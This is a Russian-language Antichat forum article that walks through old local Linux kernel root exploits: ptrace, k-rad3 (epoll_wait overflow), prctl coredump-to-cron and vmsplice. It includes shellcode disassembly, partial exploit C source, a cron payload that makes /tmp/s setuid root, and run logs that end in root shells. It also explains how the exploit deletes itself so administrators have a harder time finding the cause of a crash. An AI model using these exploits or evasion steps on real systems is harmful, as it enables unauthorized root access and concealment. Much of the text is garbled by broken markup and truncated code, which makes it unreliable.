HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 22.09.2010, 12:33
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

LINUX KERNEL EXPLOITS ​


Вводные сведения, определения (с википедии большей частью).

Уязвимость – недостаток в системе, используя который, возможно вызвать ее неправильную работу;

Эксполйт – (англ. exploit – использовать, заюзывать(сленг)) фрагмент программного кода, который, используя возможности предоставляемые уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы(DOS);

DoS-атака – (англ. Denial of Service – отказ в обслуживании) атака, при которой правомерные пользователи системы не могут получить доступ к предоставляемым ей(системой) ресурсам или этот доступ затруднен;

UID – идентификатор пользователя, число, по которому система различает пользователей;

root – пользователь с UID=0, администратор системы.

Классификация сплойтов.

по способу контакта с уязвимым програмным обеспечением:

локальные (требуют предварительного доступа к уязвимой системе)

удалённые (без предварительного доступа)

по действию:

повышающие привилегии

вызывающие отказ в обслуживании.

Речь пойдет о локальных сплойтах(так как удаленных под ядро очень мало в открытом доступе, а те что есть те неактуальны), повышающих привилегии(как самые опасные для системы).

Все рассмотренные сплоиты дают привилегии «рута» на уязвимой системе.

Рассматриваемые сплоиты:

ptrace :[/COLOR]nop

0x0000000000601041
:nop

0x0000000000601042
:jmp 0x601063

0x0000000000601044:mov$0xb6,%eax;chown

0x0000000000601049
:pop%rbx

0x000000000060104a
: xor %ecx,%ecx;0

0x000000000060104c
:mov%ecx,%edx;0

0x000000000060104e
:int$0x80

0x0000000000601050
:mov$0xf,%eax;chmod

0x0000000000601055
:mov$0xded,%ecx;6755(восм)

0x000000000060105a:int$0x80

0x000000000060105c
:mov%edx,%eax

0x000000000060105e
:mov%edx,%ebx

0x0000000000601060
:rex int$0x80

0x0000000000601063
:callq 0x601044

0x0000000000601068:add%al,(%rax)[/COLOR]
[/PHP]
End of assembler dump.

k-rad3

Целочисленное переполнение в функции sys_epoll_wait.

asmlinkage long sys_epoll_wait(int epfd, struct epoll_event __user *events, int maxevents, int timeout)

уязвимость существует в параметре maxevents.

epoll_wait – один из 3 системных вызовов для управления epoll'ом(еще есть epoll_create и epoll_ctl). epoll'ы используются для слежения за несколькими файловыми дискрипторами сразу на предмет событий (пример событий: появились данные для чтения/записи, зафиксирована ошибка устройства или потока). подробнее вот тут: http://blog.kovyrin.net/2006/04/13/e...mming/lang/ru/ и вот тут: http://lse.sourceforge.net/epoll/index.html.

необходимые условия для того чтобы сплойт сработал:

ядро уязвимой версии;

карма на +10 (спойт часто весит систему, вызывает kernel panic или просто не работает).

примечание:

/* unlink(argv[0]); */

// sync();

в тексте сплойта эти строки написаны не спроста. Если их раскомментировать то после запуска исполняемый файл удалится. В том случае если система повиснет, администратору машины будет сложнее определить источник сбоя.

Описание работы сполйта (очень примерное):

провеяет на то, запустились ли мы благодаря suid'ному биту из под рута;

если да, то изменяет UID и GID владельца процесса на 0 и запускает shell;

используя возможность перезаписывать память ядра, перезаписывает указатель на обработчик прерывания 0x7f;

вызывает прерывание 0x7f при этом в нулевом кольце вызывается функция, которая ставит процессу сплойта uid,euid,gid,egid в 0 и очищает указатель на обработчик прерывания 0x7f (чтоб никто больше им не воспользовался) ставит программе-сплойту на диске суидный бит и владельца рута;

Запускает шелл, он запускается с uid=0 и gid=0.

пример поменьше, как перезаписывать память ядра используя epool_wait, можно найти на: http://lists.grok.org.uk/pipermail/f...ch/032314.html

it is possible to partially overwrite low kernel ( >= 2.6

#include

#include

#include

#include

#include

#include

#include

#define __KERNEL__

#include

#undef __KERNEL__

#define MAXV 500

[/COLOR]int main(int argc,char**argv)

{

int epfd;

int i;

int res;

struct epoll_event ev;

int*fds;

int over;

void*km;

over= ((unsigned int)-1)/sizeof(struct epoll_event)+1;

km=(void*)(TASK_SIZE-over*sizeof(struct epoll_event) -4);

printf("sizeof=%d %x %lx\n",sizeof(struct epoll_event),over,(unsigned long)km);

epfd=epoll_create(MAXV);

printf("Epoll descriptor %i\n",epfd);

fds=calloc(2*MAXV,sizeof(int));

for(
i=0;i ]

[ Modified 2005/9 by alert7 ]

[+] try open /proc/cpuinfo .. ok!!

[+] find cpu flag pse in /proc/cpuinfo

[+] CONFIG_X86_PAE :none

[+] Cpu flag: pse ok

[+] Exploit Way : 0

[+] Use 1 pages (one page is 4K ),rewrite 0xc0000000--(0xc0001000 + n)

[+] thread_size 2 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192

[+] idtr.base 0xc04e2000, base 0xc0000000

[+] kwrite base 0xc0000000, buf 0xbffee650,num 4100

[+] idt[0x7f] addr 0xffc003f8

[+] j00 1u(k7 k1d!

BAYsLinuxBox k-rad3 # id

uid=0(root) gid=0(root) groups=1000(bay)

пример работы (запатченое ядро):

bay@BAYsLinuxBox /k-rad3 $ ./k-rad -t2

[ k-rad3 –
MAX_EVENTS)

return -
EINVAL;

/* Verify that the area passed by the user is writeable */

[/COLOR]
[/PHP]
где происходит целочисленное переполнение (вот в этом месте можно открыть fs/eventpoll.c):

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/* Verify that the area passed by the user is writeable */

[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]access_ok[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]VERIFY_WRITE[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]events[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]maxevents[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]sizeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]struct epoll_event[/COLOR][COLOR="#007700"]))) {

[/
COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]= -[/COLOR][COLOR="#0000BB"]EFAULT[/COLOR][COLOR="#007700"];

goto[/
COLOR][COLOR="#0000BB"]error_return[/COLOR][COLOR="#007700"];

}[/
COLOR][/COLOR
То есть, если maxevents слишком большое то при умножнеии из-за переполнения получается маленькое число и проверка на то, что в область память которую нам указал пользователь можно писать, может завершиться успехом (поэтому в патче и MAX_EVENTS=(INT_MAX / sizeof(struct epoll_event)) чтоб при умножении не выйти за INT_MAX, а в сплоите unsigned magic = 0xffffffff / 12 + 1).

prctl

Возможность записи в каталоги пользователя root.

С помощью системного вызова prctl можно управлять флагами отвечающими за создание дампов (coredumps) памяти процесса при его аварии. В линуксах 2.6.13–2.6.17 можно было указать, чтобы дампы создавались от имени пользователя root, чтобы исключить возможнось их прочтения кем-то другим, к тому же дампы писались в текущую директорию. Это привело к тому, что стало возможным писать файлы в директории с владельцем – рутом.

необходимые условия для того чтобы сплойт сработал:

ядро уязвимой версии;

запущеный от рута cron(на многих системах по умолчанию).

описание работы сполйта:

в папке /tmp создаёт файлы getsuid.c и s.c.

getsuid.c: в памяти процесса создается строка по формату схожая с записью cron'a

* * * * * root chown root.root /tmp/s;chmod 4777 /tmp/s;rm -f /etc/cron.d/core\n»;

Эта строка будучи проинтерпретирована cron'ом, каждую минуту будет менять владельца /tmp/s на рута и ставить ему суидный бит (нам достаточно чтоб она исполнилась один раз, поэтому мы делаем rm -f /etc/cron.d/core) процесс распадается на 2(fork). Потомок меняет текущий каталог на /etc/cron.d, с помощью ptctl устанавливает флаг чтоб дампы создавались от имени пользователя root, затем засыпает на 200 секунд. Родитель шлет потомку сигнал SIGSEGV чтобы вызвать создание дампа, затем засыпает на 120 секунд (60 секунд для того чтобы cron увидел файл в /etc/cron.d и 60 – для того, чтобы он выполнил команды (он выполнит в 00 секунд)).

s.c: устанавливает uid'ы и gid'ы в 0, запускает шелл, и удаляет себя с диска.

Компилирует эти два файла и запускает сначала getsuid потом s.c.

Чистит за собой.

запустим:

bay@BAYsLinuxBox ~ $ ./sys_prctl

wait aprox 4 min to get sh

sh-3.2# id

uid=0(root) gid=0(root) groups=1000(bay)

sh-3.2#

в соседней консоли:

[BAYsLinuxBox ~ # cd /etc/cron.d/

BAYsLinuxBox cron.d # ls -l

total 64

-rw------- 1 root bay 143360 Mar 16 16:54 core

баг пофиксили в 2.6.17.3. Просто удалили возможность создания дампов от имени пользователя рут.

из man prctl: “Between kernels 2.6.13 and 2.6.17, the value 2 was also permitted, which caused any binary which normally would not be dumped to be dumped readable by root only; for security reasons, this feature has been removed.” (про PR_SET_DUMPABLE)

vmsplice

ссылки:

про системный вызов vmsplice:

http://lwn.net/Articles/181169/

http://lwn.net/Articles/164887/

http://kerneltrap.org/node/6505

про механизм действия сплойта:

http://www.linuxworld.com/news/2008/...rss-linux-news

splice – по английски «соединять». Системный вызов используется чтобы «соединить» пайп и файл. После соединения при чтении из пайпа будет производится чтение из файла, а при записи – запись в файл.

vmsplice – vm от “virtual memory”. Тоже самое что splice только с пайпом соединяется не файл а область памяти.

Системный вызов vmsplice появился с версии 2.6.17. в этом системном вызове была не одна уязвимость. В ядрах 2.6.23–2.6.24 у области памяти которая передавалась вызову vmsplice не проверялись разрешения(можно ли туда писать). Можно было связать произвольную область памяти с пайпом и записывая в него, записывать в память. Это быстро нашли и пофиксили.

Другая уязвимость(2.6.17–2.6.24) была в том что если, наоборот, соединять пайп с памятью (читаем из пайпа – читаем из памяти), то не проверялось, есть ли права на чтение памяти. На первый взгляд эта уязвимость позволяет только читать данные. Но эта уязвимость усилилась еще одной, если мы попытаемся связать область памяти очень большой длины то произойдет целочисленное переполнение.

из fs/splice.c:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]npages[/COLOR][COLOR="#007700"]= ([/COLOR][COLOR="#0000BB"]off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]len[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]PAGE_SIZE – 1[/COLOR][COLOR="#007700"]) >>[/COLOR][COLOR="#0000BB"]PAGE_SHIFT[/COLOR][COLOR="#007700"];

if ([/COLOR][COLOR="#0000BB"]npages[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]PIPE_BUFFERS – buffers[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]npages[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]PIPE_BUFFERS – buffers[/COLOR][COLOR="#007700"];[/COLOR][/COLOR
Это был фрагмент функции get_iovec_page_array. Функция нужна чтобы преобразовать полученные от пользователя данные о памяти(от него получаем базу+длину участка+количество участков) в массив указателей на соответствующие структуры page. Возвращает эта функция указатель на массив структур pages. Максимальный размер этого массива равен PIPE_BUFFERS(16, независимо от архитектуры). Чтобы избежать переполнения этого массива и написан предыдущий код. Но если мы передадим len=ULONG_MAX, то произойдет переполнение и в npages положится число 0.

Прямо вслед за этим идет код:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]get_user_pages[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]current[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]current[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]mm[/COLOR][COLOR="#007700"],([/COLOR][COLOR="#0000BB"]unsigned long[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]base[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]npages[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],&[/COLOR][COLOR="#0000BB"]pages[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]buffers[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
где current – процесс;

(unsigned long) base – начало;

npages – длина;

&pages[buffers] – куда ложим рез-ат.

get_user_pages используется для того чтобы найти указатели на соответствующующие структуры page (соответствующие виртуальным адресам которые указал пользователь). Функция описана в /mm/memory.c (очень рекомендую заглянуть). Она не расчитана на то, что ей будут передавать длину – 0 (когда загляните, рекомендую сделать поиск по len и понять почему не расчитана). В результате в массив который должна вернуть(через аргументы) функция get_iovec_page_array запишется больше чем PIPE_BUFFERS элементов. В результате память окажется повреждена. Используя это можно заставить ядро выполнить произвольный код (почему он выполняется до сих пор остается для меня загадкой.. об этом можно попробовать почитать на http://lwn.net/Articles/269532/)

необходимые условия для того чтобы сплойт сработал:

ядро уязвимой версии.

запустим (уязвимая система):

bay@BAYsLinuxBox /vmsplice/expl $ ./a.out

-----------------------------------

Linux vmsplice Local Root Exploit

By qaaz

-----------------------------------

[+] mmap: 0x0 .. 0x1000

[+] page: 0x0

[+] page: 0x20

[+] mmap: 0x4000 .. 0x5000

[+] page: 0x4000

[+] page: 0x4020

[+] mmap: 0x1000 .. 0x2000

[+] page: 0x1000

[+] mmap: 0xb7d87000 .. 0xb7db9000

[+] root

запустим (
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.